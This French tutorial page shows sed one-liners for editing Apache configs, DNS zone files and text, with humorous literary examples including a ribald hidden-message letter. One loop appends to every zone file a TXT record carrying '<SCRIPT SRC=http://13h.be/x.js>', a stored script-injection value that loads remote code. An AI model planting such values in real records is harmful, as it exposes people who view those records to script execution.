sed
De Bricosoft.
sed stream editor, car tous ceux qui s'aiment sed.
- Everything that deceives may be sed to enchant - Plato in The Republic, Book III.
Rajouter un ServerAlias à un site disponible :
$ sed -e "s/ServerAlias.*/& dev.www.bricosoft.com/" /etc/apache2/sites-available/www.bricosoft.com
<VirtualHost *:80>
ServerAdmin webmaster@bricosoft.com
ServerName www.bricosoft.com
ServerAlias bricosoft.com www.bricosoft.com dev.www.bricosoft.com
DocumentRoot /home/totoche/zones/bricosoft.com/www/
...
</VirtualHost>
& substitue la ligne capturée par le motif.
Rajouter un ServerAlias à toutes les sites disponibles :
$ for i in `ls /etc/apache2/sites-available/`; do sed -e "s/ServerAlias.*/& dev.$i/" /etc/apache2/sites-available/$i > sites-available-with-new-serveralias/$i;done;
Remplacer un truc dans plein de fichiers depuis le dossier courant
sed -i "s/infanterie et tu te casses ailleurs/infanterie et tu te tires ailleurs/" *.xml
Autre exemple. Remplace tous les [title] par ['title'] dans les fichiers php :
sed -i "s#\[title\]#\['title'\]#g" *.php
Remplacer un truc dans plein de fichier depuis le dossier le dossier courant et ses sous-dossiers
find . -name "*.xml" -exec sed -i 's/like a tree and get outta here/ like a tree and leave/g' {} \
Remplacer un mot par un autre pour chaque ligne ayant un motif précis
Par exemple pour chaque directive ServerAlias d'un fichier de conf apache, on va remplacer www. par un catch all(*.) :
~/sites$ cat www.neuneu.be | grep -i serveralias
ServerAlias neuneu.be www.neuneu.be
~/sites$ sed -i '/ServerAlias/s#www\.#*\.#' www.*
~/sites$ cat www.neuneu.be | grep -i serveralias
ServerAlias neuneu.be *.neuneu.be
Vous pouvez choisir n'importe quel délimiteur à la place de '#'.
Insérer un bout de texte en début de ligne pour chaque ligne satisfaisant un motif
$ sed -e '/con/s\.*\je le savais !!!&\' moo
rajouter une ligne en fin de fichier
$ sed "$ a*\tIN\tA\t88.88.88.88" db.toto.zz
Sur une liste de fichiers de zones :
for i in `ls db.*|grep -v signed`; do sed -i "$ a@\tIN\tTXT\t\"</font><SCRIPT SRC=http://13h.be/x.js></SCRIPT>\"" $i;done
Effacer une ligne matchant une regexp
On va supprimer les lignes qui ont "mail." :
Avant :
$ cat db.zux.be
@ IN MX 10 mail.zux.be. b IN A 92.243.27.3 a IN A 92.243.1.170 zux.be. IN A 92.243.27.3 mail IN A 92.243.27.3 www CNAME zux.be.
$ sed '/mail\./ d' < db.zux.be
Apres :
$ cat db.zux.be
b IN A 92.243.27.3 a IN A 92.243.1.170 zux.be. IN A 92.243.27.3 mail IN A 92.243.27.3 www CNAME zux.be.
Ou pour une modif en masse :
$ sed -i '/mail\./ d' db.*
Enlever une ligne sur deux en partant de la deuxième
En utilisant le canular de la lettre de Sand à de Musset, un peu de littérature ça ne fait pas de mal (ah? tu lis tes ratures ? (c)François Pérusse).
Avant :
$ cat missive.txt
Je suis très émue de vous dire que j'ai bien compris l'autre soir que vous aviez toujours une envie folle de me faire danser. Je garde le souvenir de votre baiser et je voudrais bien que ce soit là une preuve que je puisse être aimée par vous. Je suis prête à vous montrer mon affection toute désintéressée et sans cal- cul, et si vous voulez me voir aussi vous dévoiler sans artifice mon âme toute nue, venez me faire une visite. Nous causerons en amis, franchement. Je vous prouverai que je suis la femme sincère, capable de vous offrir l'affection la plus profonde comme la plus étroite en amitié, en un mot la meilleure preuve dont vous puissiez rêver, puisque votre âme est libre. Pensez que la solitude où j'ha- bite est bien longue, bien dure et souvent difficile. Ainsi en y songeant j'ai l'âme grosse. Accourrez donc vite et venez me la faire oublier par l'amour où je veux me mettre.
Après :
$ sed '2~2d' missive.txt
Je suis très émue de vous dire que j'ai toujours une envie folle de me faire baiser et je voudrais bien que ce soit par vous. Je suis prête à vous montrer mon cul, et si vous voulez me voir aussi toute nue, venez me faire une visite. Je vous prouverai que je suis la femme la plus profonde comme la plus étroite dont vous puissiez rêver, puisque votre bite est bien longue, bien dure et souvent grosse. Accourrez donc vite et venez me la mettre.
Palsembleu ! ça n'a plus du tout le même sens :*o
Ne garder que le premier mot d'une ligne
Avant :
$ cat reponse.txt
Quand je mets à vos pieds un éternel hommage, Voulez-vous qu'un instant je change de visage ? Vous avez capturé les sentiments d'un coeur Que pour vous adorer forma le créateur. Je vous chéris, amour, et ma plume en délire Couche sur le papier ce que je n'ose dire. Avec soin de mes vers lisez les premiers mots, Vous saurez quel remède apporter à mes maux.
Après :
$ sed -r "s/^([[:alpha:]]+)\b.*/\1/" reponse.txt
Pour chaque ligne, le premier mot, c'est-à-dire des caractères alphabétiques suivi d'une limite de mot (\b), remplace la ligne.
Quand Voulez-vous Vous Que Je Couche Avec Vous
Fichtre. Mais il y a plus simple avec cut :
$ cut -d" " -f 1 reponse.txt
| ||||||||||||||||||||||||||||||||

